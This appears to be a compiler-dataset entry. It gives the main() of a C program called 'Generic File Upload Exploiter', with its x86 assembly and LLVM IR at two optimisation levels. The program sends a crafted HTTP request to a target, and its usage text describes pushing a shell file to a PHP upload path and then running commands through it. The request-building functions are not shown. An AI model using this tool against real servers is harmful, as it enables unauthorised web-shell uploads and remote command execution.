#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct sockaddr_in {
  int /*<<< orphan*/ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ serv_addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ atoi(char *);
int /*<<< orphan*/ close(int);
scalar_t__ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ get_request(char *, char *, char *, char *);
int /*<<< orphan*/ htons(int /*<<< orphan*/);
scalar_t__ inet_pton(int /*<<< orphan*/, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ memset(struct sockaddr_in *, int /*<<< orphan*/, int);
int /*<<< orphan*/ post_request(char *, char *, char *, char *);
int /*<<< orphan*/ printf(char *, ...);
int read_socket(int, int);
int /*<<< orphan*/ send(int, char *, int /*<<< orphan*/, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ strlen(char *);
int main(int argc, char *argv[]) {
  int sock = 0, total = 0;
  struct sockaddr_in serv_addr;
  char payload[1024] = {0};
  if (argc <= 1) {
    printf("================== Generic File Upload Exploiter v1.2 "
           "================\n@_larry0\n\n\nUsage: %s hostname port path "
           "command\nE.g.\n%s www.example.com 80 /web/php/upload.php to push a "
           "shell file\n%s www.example.com 80 /web/php/uploads whoami to "
           "exploit it.\n\n",
           argv[0], argv[0], argv[0]);
    return (0);
  }
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    printf("\nSocket creation error\n");
    return (-1);
  }
  if (argc == 5)
    get_request(payload, argv[3], argv[1], argv[4]);
  else
    post_request(payload, argv[3], argv[1], argv[4]);
  if (!0) {
    memset(&serv_addr, 0, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(atoi(argv[2]));
    if (inet_pton(AF_INET, argv[1], &serv_addr.sin_addr) <= 0) {
      printf("\nInvalid address.\n");
      return (-1);
    }
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
      printf("\nConnection Failed.\n");
      return (-1);
    }
    send(sock, payload, strlen(payload), 0);
  }
  if (1)
    printf("\nSending Payload:\n%s", payload);
  if (!0) {
    printf("\n[+] Total bytes read: %d\n", read_socket(sock, total));
    close(sock);
  }
  return (0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x440,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x14(%rbp)
movl   $0x0,-0x18(%rbp)
lea    -0x430(%rbp),%rdi
xor    %esi,%esi
mov    $0x400,%edx
call   1090 <memset@plt>
cmpl   $0x1,-0x8(%rbp)
jg     1243 <main+0x73>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
mov    -0x10(%rbp),%rax
mov    (%rax),%rcx
lea    0xdd0(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
movl   $0x0,-0x4(%rbp)
jmp    13f7 <main+0x227>
mov    0x2d9e(%rip),%rax
mov    (%rax),%edi
mov    0x2d85(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10f0 <socket@plt>
mov    %eax,-0x14(%rbp)
cmp    $0x0,%eax
jge    1282 <main+0xb2>
lea    0xe8b(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    13f7 <main+0x227>
cmpl   $0x5,-0x8(%rbp)
jne    12b5 <main+0xe5>
lea    -0x430(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rsi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdx
mov    -0x10(%rbp),%rax
mov    0x20(%rax),%rcx
call   1030 <get_request@plt>
jmp    12d9 <main+0x109>
lea    -0x430(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rsi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdx
mov    -0x10(%rbp),%rax
mov    0x20(%rax),%rcx
call   10b0 <post_request@plt>
lea    -0x28(%rbp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1090 <memset@plt>
mov    0x2cf8(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   10d0 <atoi@plt>
mov    %eax,%edi
call   1050 <htons@plt>
mov    %eax,-0x24(%rbp)
mov    0x2cd5(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
lea    -0x28(%rbp),%rdx
call   10c0 <inet_pton@plt>
cmp    $0x0,%rax
jg     134a <main+0x17a>
lea    0xddb(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    13f7 <main+0x227>
mov    -0x14(%rbp),%edi
lea    -0x28(%rbp),%rsi
mov    $0xc,%edx
call   10e0 <connect@plt>
cmp    $0x0,%rax
jge    137f <main+0x1af>
lea    0xdb9(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    13f7 <main+0x227>
mov    -0x14(%rbp),%eax
mov    %eax,-0x43c(%rbp)
lea    -0x430(%rbp),%rax
mov    %rax,-0x438(%rbp)
lea    -0x430(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x43c(%rbp),%edi
mov    -0x438(%rbp),%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
lea    -0x430(%rbp),%rsi
lea    0xd74(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x14(%rbp),%edi
mov    -0x18(%rbp),%esi
call   1080 <read_socket@plt>
mov    %eax,%esi
lea    0xd6e(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x14(%rbp),%edi
call   10a0 <close@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x440,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x418,%rsp
mov    %rsi,%rbx
mov    %edi,%ebp
lea    0x10(%rsp),%rdi
xor    %r15d,%r15d
mov    $0x400,%edx
xor    %esi,%esi
call   10a0 <memset@plt>
cmp    $0x1,%ebp
jg     1227 <main+0x47>
mov    (%rbx),%rcx
lea    0xdeb(%rip),%rdi
mov    %rcx,%rsi
mov    %rcx,%rdx
xor    %eax,%eax
call   1080 <printf@plt>
jmp    133b <main+0x15b>
mov    0x2dba(%rip),%r15
mov    (%r15),%edi
mov    0x2da0(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1100 <socket@plt>
test   %eax,%eax
js     1265 <main+0x85>
mov    %eax,%r14d
mov    0x8(%rbx),%rdx
mov    0x18(%rbx),%rsi
mov    0x20(%rbx),%rcx
lea    0x10(%rsp),%rdi
cmp    $0x5,%ebp
jne    1271 <main+0x91>
call   1030 <get_request@plt>
jmp    1276 <main+0x96>
lea    0xee4(%rip),%rdi
jmp    1330 <main+0x150>
call   10c0 <post_request@plt>
mov    %rsp,%rbp
mov    %rbp,%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   10a0 <memset@plt>
mov    (%r15),%eax
mov    %eax,0x8(%rsp)
mov    0x10(%rbx),%rdi
call   10e0 <atoi@plt>
mov    %eax,%edi
call   1060 <htons@plt>
mov    %eax,0x4(%rsp)
mov    (%r15),%edi
mov    0x8(%rbx),%rsi
mov    %rbp,%rdx
call   10d0 <inet_pton@plt>
test   %rax,%rax
jle    1320 <main+0x140>
mov    %rsp,%rsi
mov    %r14d,%edi
mov    $0xc,%edx
call   10f0 <connect@plt>
test   %rax,%rax
js     1329 <main+0x149>
lea    0x10(%rsp),%rbx
mov    %rbx,%rdi
call   1050 <strlen@plt>
xor    %r15d,%r15d
mov    %r14d,%edi
mov    %rbx,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1070 <send@plt>
lea    0xe08(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
mov    %r14d,%edi
xor    %esi,%esi
call   1090 <read_socket@plt>
lea    0xe02(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1080 <printf@plt>
mov    %r14d,%edi
call   10b0 <close@plt>
jmp    133b <main+0x15b>
lea    0xe17(%rip),%rdi
jmp    1330 <main+0x150>
lea    0xdfa(%rip),%rdi
call   1040 <puts@plt>
mov    $0xffffffff,%r15d
mov    %r15d,%eax
add    $0x418,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, i32, i32 }
%struct.sockaddr = type { i32 }
@.str = [250 x i8] c"================== Generic File Upload Exploiter v1.2 ================\0A@_larry0\0A\0A\0AUsage: %s hostname port path command\0AE.g.\0A%s www.example.com 80 /web/php/upload.php to push a shell file\0A%s www.example.com 80 /web/php/uploads whoami to exploit it.\0A\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [24 x i8] c"\0ASocket creation error\0A\00"
@.str.2 = [19 x i8] c"\0AInvalid address.\0A\00"
@.str.3 = [21 x i8] c"\0AConnection Failed.\0A\00"
@.str.4 = [21 x i8] c"\0ASending Payload:\0A%s\00"
@.str.5 = [27 x i8] c"\0A[+] Total bytes read: %d\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca %struct.sockaddr_in
%9 = alloca [1024 x i8]
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %6
store i32 0, i32* %7
%10 = bitcast [1024 x i8]* %9 to i8*
%11 = load i32, i32* %4
%12 = icmp sle i32 %11, 1
br i1 %12, label %13, label %24
13: ; preds = %2
%14 = load i8**, i8*** %5
%15 = getelementptr inbounds i8*, i8** %14, i64 0
%16 = load i8*, i8** %15
%17 = load i8**, i8*** %5
%18 = getelementptr inbounds i8*, i8** %17, i64 0
%19 = load i8*, i8** %18
%20 = load i8**, i8*** %5
%21 = getelementptr inbounds i8*, i8** %20, i64 0
%22 = load i8*, i8** %21
%23 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([250 x i8], [250 x i8]* @.str, i64 0, i64 0), i8* %16, i8* %19, i8* %22)
store i32 0, i32* %3
br label %98
24: ; preds = %2
%25 = load i32, i32* @AF_INET
%26 = load i32, i32* @SOCK_STREAM
%27 = call i32 @socket(i32 %25, i32 %26, i32 0)
store i32 %27, i32* %6
%28 = icmp slt i32 %27, 0
br i1 %28, label %29, label %31
29: ; preds = %24
%30 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.1, i64 0, i64 0))
store i32 -1, i32* %3
br label %98
31: ; preds = %24
%32 = load i32, i32* %4
%33 = icmp eq i32 %32, 5
br i1 %33, label %34, label %46
34: ; preds = %31
%35 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%36 = load i8**, i8*** %5
%37 = getelementptr inbounds i8*, i8** %36, i64 3
%38 = load i8*, i8** %37
%39 = load i8**, i8*** %5
%40 = getelementptr inbounds i8*, i8** %39, i64 1
%41 = load i8*, i8** %40
%42 = load i8**, i8*** %5
%43 = getelementptr inbounds i8*, i8** %42, i64 4
%44 = load i8*, i8** %43
%45 = call i32 @get_request(i8* %35, i8* %38, i8* %41, i8* %44)
br label %58
46: ; preds = %31
%47 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%48 = load i8**, i8*** %5
%49 = getelementptr inbounds i8*, i8** %48, i64 3
%50 = load i8*, i8** %49
%51 = load i8**, i8*** %5
%52 = getelementptr inbounds i8*, i8** %51, i64 1
%53 = load i8*, i8** %52
%54 = load i8**, i8*** %5
%55 = getelementptr inbounds i8*, i8** %54, i64 4
%56 = load i8*, i8** %55
%57 = call i32 @post_request(i8* %47, i8* %50, i8* %53, i8* %56)
br label %58
58: ; preds = %46, %34
%59 = call i32 @memset(%struct.sockaddr_in* %8, i32 0, i32 12)
%60 = load i32, i32* @AF_INET
%61 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 2
store i32 %60, i32* %61
%62 = load i8**, i8*** %5
%63 = getelementptr inbounds i8*, i8** %62, i64 2
%64 = load i8*, i8** %63
%65 = call i32 @atoi(i8* %64)
%66 = call i32 @htons(i32 %65)
%67 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 1
store i32 %66, i32* %67
%68 = load i32, i32* @AF_INET
%69 = load i8**, i8*** %5
%70 = getelementptr inbounds i8*, i8** %69, i64 1
%71 = load i8*, i8** %70
%72 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 0
%73 = call i64 @inet_pton(i32 %68, i8* %71, i32* %72)
%74 = icmp sle i64 %73, 0
br i1 %74, label %75, label %77
75: ; preds = %58
%76 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
store i32 -1, i32* %3
br label %98
77: ; preds = %58
%78 = load i32, i32* %6
%79 = bitcast %struct.sockaddr_in* %8 to %struct.sockaddr*
%80 = call i64 @connect(i32 %78, %struct.sockaddr* %79, i32 12)
%81 = icmp slt i64 %80, 0
br i1 %81, label %82, label %84
82: ; preds = %77
%83 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.3, i64 0, i64 0))
store i32 -1, i32* %3
br label %98
84: ; preds = %77
%85 = load i32, i32* %6
%86 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%87 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%88 = call i32 @strlen(i8* %87)
%89 = call i32 @send(i32 %85, i8* %86, i32 %88, i32 0)
%90 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%91 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.4, i64 0, i64 0), i8* %90)
%92 = load i32, i32* %6
%93 = load i32, i32* %7
%94 = call i32 @read_socket(i32 %92, i32 %93)
%95 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0), i32 %94)
%96 = load i32, i32* %6
%97 = call i32 @close(i32 %96)
store i32 0, i32* %3
br label %98
98: ; preds = %84, %82, %75, %29, %13
%99 = load i32, i32* %3
ret i32 %99
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, i32, i32 }
%struct.sockaddr = type { i32 }
@.str = [250 x i8] c"================== Generic File Upload Exploiter v1.2 ================\0A@_larry0\0A\0A\0AUsage: %s hostname port path command\0AE.g.\0A%s www.example.com 80 /web/php/upload.php to push a shell file\0A%s www.example.com 80 /web/php/uploads whoami to exploit it.\0A\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.4 = [21 x i8] c"\0ASending Payload:\0A%s\00"
@.str.5 = [27 x i8] c"\0A[+] Total bytes read: %d\0A\00"
@str = [20 x i8] c"\0AConnection Failed.\00"
@str.6 = [18 x i8] c"\0AInvalid address.\00"
@str.7 = [23 x i8] c"\0ASocket creation error\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = alloca [1024 x i8]
%5 = bitcast %struct.sockaddr_in* %3 to i8*
%6 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%7 = icmp slt i32 %0, 2
br i1 %7, label %8, label %11
8: ; preds = %2
%9 = load i8*, i8** %1
%10 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([250 x i8], [250 x i8]* @.str, i64 0, i64 0), i8* %9, i8* %9, i8* %9)
br label %60
11: ; preds = %2
%12 = load i32, i32* @AF_INET
%13 = load i32, i32* @SOCK_STREAM
%14 = tail call i32 @socket(i32 %12, i32 %13, i32 0)
%15 = icmp slt i32 %14, 0
br i1 %15, label %16, label %18
16: ; preds = %11
%17 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str.7, i64 0, i64 0))
br label %60
18: ; preds = %11
%19 = icmp eq i32 %0, 5
%20 = getelementptr inbounds i8*, i8** %1, i64 3
%21 = load i8*, i8** %20
%22 = getelementptr inbounds i8*, i8** %1, i64 1
%23 = load i8*, i8** %22
%24 = getelementptr inbounds i8*, i8** %1, i64 4
%25 = load i8*, i8** %24
br i1 %19, label %26, label %28
26: ; preds = %18
%27 = call i32 @get_request(i8* %6, i8* %21, i8* %23, i8* %25)
br label %30
28: ; preds = %18
%29 = call i32 @post_request(i8* %6, i8* %21, i8* %23, i8* %25)
br label %30
30: ; preds = %28, %26
%31 = call i32 @memset(%struct.sockaddr_in* %3, i32 0, i32 12)
%32 = load i32, i32* @AF_INET
%33 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %32, i32* %33
%34 = getelementptr inbounds i8*, i8** %1, i64 2
%35 = load i8*, i8** %34
%36 = call i32 @atoi(i8* %35)
%37 = call i32 @htons(i32 %36)
%38 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1
store i32 %37, i32* %38
%39 = load i32, i32* @AF_INET
%40 = getelementptr inbounds i8*, i8** %1, i64 1
%41 = load i8*, i8** %40
%42 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
%43 = call i64 @inet_pton(i32 %39, i8* %41, i32* %42)
%44 = icmp slt i64 %43, 1
br i1 %44, label %45, label %47
45: ; preds = %30
%46 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @str.6, i64 0, i64 0))
br label %60
47: ; preds = %30
%48 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%49 = call i64 @connect(i32 %14, %struct.sockaddr* %48, i32 12)
%50 = icmp slt i64 %49, 0
br i1 %50, label %51, label %53
51: ; preds = %47
%52 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @str, i64 0, i64 0))
br label %60
53: ; preds = %47
%54 = call i32 @strlen(i8* %6)
%55 = call i32 @send(i32 %14, i8* %6, i32 %54, i32 0)
%56 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @.str.4, i64 0, i64 0), i8* %6)
%57 = call i32 @read_socket(i32 %14, i32 0)
%58 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0), i32 %57)
%59 = call i32 @close(i32 %14)
br label %60
60: ; preds = %53, %51, %45, %16, %8
%61 = phi i32 [ 0, %8 ], [ -1, %16 ], [ -1, %45 ], [ -1, %51 ], [ 0, %53 ]
ret i32 %61
}